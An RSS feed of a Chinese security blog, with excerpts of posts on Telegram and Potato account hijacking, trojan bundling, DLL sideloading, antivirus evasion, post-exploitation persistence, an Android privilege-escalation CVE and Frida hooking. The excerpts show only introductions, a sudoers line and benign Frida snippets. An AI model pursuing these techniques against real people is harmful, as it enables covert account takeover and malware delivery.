<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>yanq的个人博客</title><link>https://saucer-man.com/</link><description>Recent content on yanq的个人博客</description><generator>Hugo</generator><language>zh-cn</language><lastBuildDate>Wed, 08 Apr 2026 06:37:36 +0000</lastBuildDate><atom:link href="https://saucer-man.com/index.xml" rel="self" type="application/rss+xml"/><item><title>openclaw2.角色设定和多agent配置</title><link>https://saucer-man.com/ai/1260.html</link><pubDate>Mon, 23 Mar 2026 12:02:00 +0000</pubDate><guid>https://saucer-man.com/ai/1260.html</guid><description>&lt;h2 id="1-agent角色设定"&gt;1. agent角色设定&lt;/h2&gt;
&lt;p&gt;在workspace目录下保存了一堆md文件，这些文件记录着agent的行为准则、角色设定、工作模式等等。关于这些文件的初始模板可以阅读https://docs.openclaw.ai/zh-CN/reference/templates/&lt;/p&gt;</description></item><item><title>openclaw1.搭建与简单使用</title><link>https://saucer-man.com/ai/1245.html</link><pubDate>Thu, 19 Mar 2026 13:40:00 +0000</pubDate><guid>https://saucer-man.com/ai/1245.html</guid><description>&lt;h2 id="1-环境准备"&gt;1. 环境准备&lt;/h2&gt;
&lt;p&gt;选择将openclaw安装在本地的虚拟机中，使用vmware安装ubuntu24：https://releases.ubuntu.com/noble/&lt;/p&gt;
&lt;p&gt;1.设置sudo免密码&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ sudo su
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ apt install -y vim 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ vim /etc/sudoers
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;添加当前用户ubuntu免密sudo
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ubuntu &lt;span class="nv"&gt;ALL&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;ALL&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: NOPASSWD: ALL
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;2.安装代理软件 &lt;a href="https://github.com/chen08209/FlClash"&gt;https://github.com/chen08209/FlClash&lt;/a&gt;，设置TUN模式 + system proxy，保证全局上网&lt;/p&gt;</description></item><item><title>AI应用-pyinstaller反编译</title><link>https://saucer-man.com/information_security/1241.html</link><pubDate>Sat, 24 May 2025 15:30:00 +0000</pubDate><guid>https://saucer-man.com/information_security/1241.html</guid><description>&lt;h2 id="1-背景"&gt;1. 背景&lt;/h2&gt;
&lt;p&gt;关于如何对pyinstaller编译出的exe进行反编译，很久之前写过一篇文章 &lt;a href="https://saucer-man.com/information_security/825.html"&gt;python代码打包和逆向&lt;/a&gt;，总结来看大概是分为以下两步：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;exe -&amp;gt; pyc 使用 pyinstxtractor&lt;/li&gt;
&lt;li&gt;pyc -&amp;gt; py 使用 uncompyle6&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;第一步基本没太大问题，第二步由于uncompyle6的兼容性，只支持到python3.8，所以反编译的场景非常有限&lt;/p&gt;
&lt;p&gt;本文主要是使用AI来处理&lt;code&gt; pyc-&amp;gt;py&lt;/code&gt;的过程&lt;/p&gt;</description></item><item><title>关于cve-2024-0044的简单分析</title><link>https://saucer-man.com/information_security/1227.html</link><pubDate>Tue, 09 Jul 2024 16:54:00 +0000</pubDate><guid>https://saucer-man.com/information_security/1227.html</guid><description>&lt;p&gt;最近在公众号看到很多关于android12、13取证的相关文档，了解到是因为最近出了一个cve-2024-0044，该漏洞可以利用run-as命令提权到某app uid，从而实现对app私有目录进行访问，简单记录下漏洞原理和复现过程&lt;/p&gt;
&lt;h2 id="1-影响范围"&gt;1. 影响范围&lt;/h2&gt;
&lt;p&gt;android 12、13系统，不涉及android 14，谷歌安全补丁发布在2024年3月1号：https://source.android.com/docs/security/bulletin/2024-03-01?hl=zh-cn&lt;/p&gt;</description></item><item><title>android12 aosp去除root特征</title><link>https://saucer-man.com/information_security/1214.html</link><pubDate>Tue, 25 Jun 2024 16:49:00 +0000</pubDate><guid>https://saucer-man.com/information_security/1214.html</guid><description>&lt;p&gt;网上关于aosp的修改都是基于android8或者android10，对于android12来说有一些细微的变化，这里记录下编译android12 的aosp，并且去除其root特征。&lt;/p&gt;
&lt;p&gt;编译过程和环境完全基于之前的文章： &lt;a href="https://saucer-man.com/android/986.html"&gt;https://saucer-man.com/android/986.html&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="修改test-keys为release-keys"&gt;修改test-keys为release-keys&lt;/h2&gt;
&lt;p&gt;在以下几个系统属性中会出现test-keys的特征，这也会导致一些检测软件认为系统是root的&lt;/p&gt;</description></item><item><title>potato账号劫持</title><link>https://saucer-man.com/private/1205.html</link><pubDate>Mon, 24 Jun 2024 08:31:00 +0000</pubDate><guid>https://saucer-man.com/private/1205.html</guid><description>&lt;p&gt;potato是中国公司开发的软件，由于其不需要科学上网，所以很多黑灰产都在上面进行交易，所以本次来研究下如何实现potato账号劫持&lt;/p&gt;
&lt;p&gt;potato是二开的telegram低版本，所以可以先熟悉下telegram的数据解密和账号劫持：https://saucer-man.com/information_security/1194.html&lt;/p&gt;</description></item><item><title>telegram数据解密与账号劫持的研究</title><link>https://saucer-man.com/private/1194.html</link><pubDate>Mon, 24 Jun 2024 06:46:00 +0000</pubDate><guid>https://saucer-man.com/private/1194.html</guid><description>&lt;p&gt;在后渗透或者取证阶段，快速收集用户信息是第一位的，今天这篇文章来记录下关于telegram数据解密和账号劫持的内容，本文实验环境为最新版的telegram windows端5.1.7版本。&lt;/p&gt;
&lt;h2 id="1-telegram的一些说明"&gt;1. telegram的一些说明&lt;/h2&gt;
&lt;h3 id="11-常见特性"&gt;1.1 常见特性&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;多端登录: telegram支持多端同时登录，这也是telegram能够被账号无感劫持的基础&lt;/li&gt;
&lt;li&gt;数据存储：telegram存储在本地的数据都是加密的，包括文字、媒体和其他类型的数据，但是在云端也会保存这些数据，用于多端的数据同步&lt;/li&gt;
&lt;li&gt;数据传输加密：telegram在普通对话时并不是端到端加密，而是客户端到服务端加密，只有私密对话才会端到端加密，所以私密对话无法同步到不同的端上，见https://core.telegram.org/techfaq#q-how-does-server-client-encryption-work-in-mtproto&lt;/li&gt;
&lt;li&gt;Telegram的客户端都是开源的，windows端的源码地址：https://github.com/telegramdesktop/tdesktop&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="12-数据存储结构"&gt;1.2 数据存储结构&lt;/h3&gt;
&lt;p&gt;telegram的默认数据存储在&lt;code&gt;C:\Users\&amp;lt;YourUsername&amp;gt;\AppData\Roaming\Telegram Desktop\tdata&lt;/code&gt;目录下，如果是potable文件，则数据存储和在Telegram.exe同目录下的tdata目录，下面是我本地的目录结构&lt;/p&gt;</description></item><item><title>后渗透之everything使用</title><link>https://saucer-man.com/information_security/1182.html</link><pubDate>Thu, 11 Apr 2024 14:21:00 +0000</pubDate><guid>https://saucer-man.com/information_security/1182.html</guid><description>&lt;p&gt;最近需要做一些免杀和后渗透的工作，将一些偏向实战性质的笔记发在这里，给博客清清灰。&lt;/p&gt;
&lt;p&gt;everything在后渗透中可以作为一个文件搜索下载工具使用，在一些场景中也可以作为免杀持久化后门使用，下面记录下实战使用方法，注意前提是已经拿到了管理员权限&lt;/p&gt;
&lt;h2 id="1-下载everything便携版"&gt;1. 下载everything便携版&lt;/h2&gt;
&lt;p&gt;从官网下载即可 &lt;a href="https://www.voidtools.com/zh-cn/"&gt;https://www.voidtools.com/zh-cn/&lt;/a&gt;&lt;/p&gt;</description></item><item><title>白加黑实战篇</title><link>https://saucer-man.com/private/1171.html</link><pubDate>Wed, 10 Apr 2024 15:21:00 +0000</pubDate><guid>https://saucer-man.com/private/1171.html</guid><description>&lt;p&gt;最近需要做一些免杀和后渗透的工作，将一些偏向实战性质的笔记发在这里，给博客清清灰。&lt;/p&gt;
&lt;h2 id="1白加黑原理"&gt;1.白加黑原理&lt;/h2&gt;
&lt;h3 id="11-什么是dll"&gt;1.1 什么是DLL&lt;/h3&gt;
&lt;p&gt;动态链接库 (DLL) 是一个模块，其中包含可由另一个模块 (应用程序或 DLL) 使用的函数和数据。DLL 可以定义两种类型的函数：导出函数和内部函数。 导出的函数旨在由其他模块调用，以及从定义它们的 DLL 中调用。&lt;/p&gt;</description></item><item><title>捆绑马的制作</title><link>https://saucer-man.com/information_security/1168.html</link><pubDate>Tue, 02 Apr 2024 11:52:00 +0000</pubDate><guid>https://saucer-man.com/information_security/1168.html</guid><description>&lt;p&gt;捆绑马的制作，如果在网上搜索的话通常有下面两种方式：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;通过资源文件进行捆绑马，将木马文件添加到程序中作为资源，并在运行时从程序资源中获取相应的文件数据&lt;/li&gt;
&lt;li&gt;通过winrar自解压进行捆绑马&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;上面两种方法局限性都很大，不能满足我一些复杂的需求，比如我需要将木马和正常的exe捆绑在一块，同时需要弹出UAC进行提权，并将exe放置在不同的目录下执行，或者是当木马已经上线的情况下，不重复执行木马&amp;hellip;..&lt;/p&gt;</description></item><item><title>调出微信小程序的devtools</title><link>https://saucer-man.com/information_security/1143.html</link><pubDate>Thu, 07 Dec 2023 02:18:00 +0000</pubDate><guid>https://saucer-man.com/information_security/1143.html</guid><description>&lt;h2 id="20240131更新"&gt;20240131更新&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用python版本即可 &lt;a href="https://github.com/JaveleyQAQ/WeChatOpenDevTools-Python"&gt;https://github.com/JaveleyQAQ/WeChatOpenDevTools-Python&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;====================================&lt;/p&gt;
&lt;p&gt;志远佬发的新方案，在小程序界面可直接开启devtools来进行debug和抓包，原库已删除，相关代码我fork了：https://github.com/saucer-man/WeChatOpenDevToolsss&lt;/p&gt;</description></item><item><title>谈谈微信授权下的安全风险</title><link>https://saucer-man.com/information_security/1129.html</link><pubDate>Thu, 23 Nov 2023 03:06:00 +0000</pubDate><guid>https://saucer-man.com/information_security/1129.html</guid><description>&lt;p&gt;随着微信成为国名级应用，很多公司的产品都实现了微信授权登录的入口，app、小程序、网页端也都可以接入微信授权，复杂的流程中或多或少存在着一些可以利用的安全风险，下面简单总结一下微信授权相关的安全风险。&lt;/p&gt;
&lt;h2 id="1-授权流程"&gt;1. 授权流程&lt;/h2&gt;
&lt;p&gt;首先来看下授权流程，微信授权的场景比较多，涉及app、网页、小程序、公众号等，只有先了解授权原理和过程，才能理解安全风险。&lt;/p&gt;</description></item><item><title>frida初探4：frida hook so</title><link>https://saucer-man.com/information_security/1122.html</link><pubDate>Wed, 23 Aug 2023 16:37:55 +0000</pubDate><guid>https://saucer-man.com/information_security/1122.html</guid><description>&lt;p&gt;本篇文章主要记录frida hook so的常见用法，内容多参考自《frida 协议分析》&lt;/p&gt;
&lt;h1 id="1-枚举module"&gt;1. 枚举module&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="l"&gt;// 列举所有加载的module，也就是so&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="l"&gt;function listso() {&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;Java.perform(function () {&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;//枚举当前加载的模块&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;var process_Obj_Module_Arr = Process.enumerateModules();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;for (var i = 0; i &amp;lt; process_Obj_Module_Arr.length; i++) {&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;//包含&amp;#34;lib&amp;#34;字符串的&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;if (process_Obj_Module_Arr[i].path.indexOf(&amp;#34;lib&amp;#34;) != -1) {&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;console.log(&amp;#34;模块名称:&amp;#34;, process_Obj_Module_Arr[i].name);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;console.log(&amp;#34;模块地址:&amp;#34;, process_Obj_Module_Arr[i].base);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;console.log(&amp;#34;大小:&amp;#34;, process_Obj_Module_Arr[i].size);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;console.log(&amp;#34;文件系统路径&amp;#34;, process_Obj_Module_Arr[i].path);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;}&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;}&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;}&lt;span class="l"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="l"&gt;// 根据模块名加载module&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="l"&gt;var module = Process.findModuleByName(&amp;#34;libxiaojianbang.so&amp;#34;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="l"&gt;console.log(JSON.stringify(module));&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="l"&gt;//{&amp;#34;name&amp;#34;:&amp;#34;libxiaojianbang.so&amp;#34;,&amp;#34;base&amp;#34;:&amp;#34;0x7ad1ce6000&amp;#34;,&amp;#34;size&amp;#34;:28672,&amp;#34;path&amp;#34;:&amp;#34;/data/app/com.xiaojianbang.app-r_cD2g_EAJo-3V4FJEttXQ==/lib/arm64/libxiaojianbang.so&amp;#34;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="l"&gt;if(module != null){&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="l"&gt;//do someting ... &lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="l"&gt;// module的定义&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="l"&gt;declare class Module {&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;string;			//模块名&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;base&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;NativePointer;	//模块基址&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;size&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;number;			//模块大小&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;string;			//模块所在路径&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;enumerateImports()&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;ModuleImportDetails[];	//枚举导入表&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;enumerateExports()&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;ModuleExportDetails[];	//枚举导出表&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;enumerateSymbols()&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;ModuleSymbolDetails[];	//枚举符号表&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;findExportByName(exportName: string)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;NativePointer | null;	//获取导出函数地址&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;getExportByName(exportName: string)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;NativePointer;		//获取导出函数地址&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;static load(name: string)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;Module;							//加载指定模块&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;static findBaseAddress(name: string)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;NativePointer | null;		//获取模块基址&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;static getBaseAddress(name: string)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;NativePointer;			//获取模块基址&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;//获取导出函数地址&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;static findExportByName(moduleName: string | null, exportName: string)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;NativePointer | null;	&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="l"&gt;//获取导出函数地址&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;static getExportByName(moduleName: string | null, exportName: string)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;NativePointer;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h1 id="2-枚举符号"&gt;2. 枚举符号&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// 列举某个module的导入导出函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;listsoinout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;perform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;imports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;enumerateImportsSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;exports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;enumerateExportsSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;: &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;exports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;enumerateExportsSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;libhello.so&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
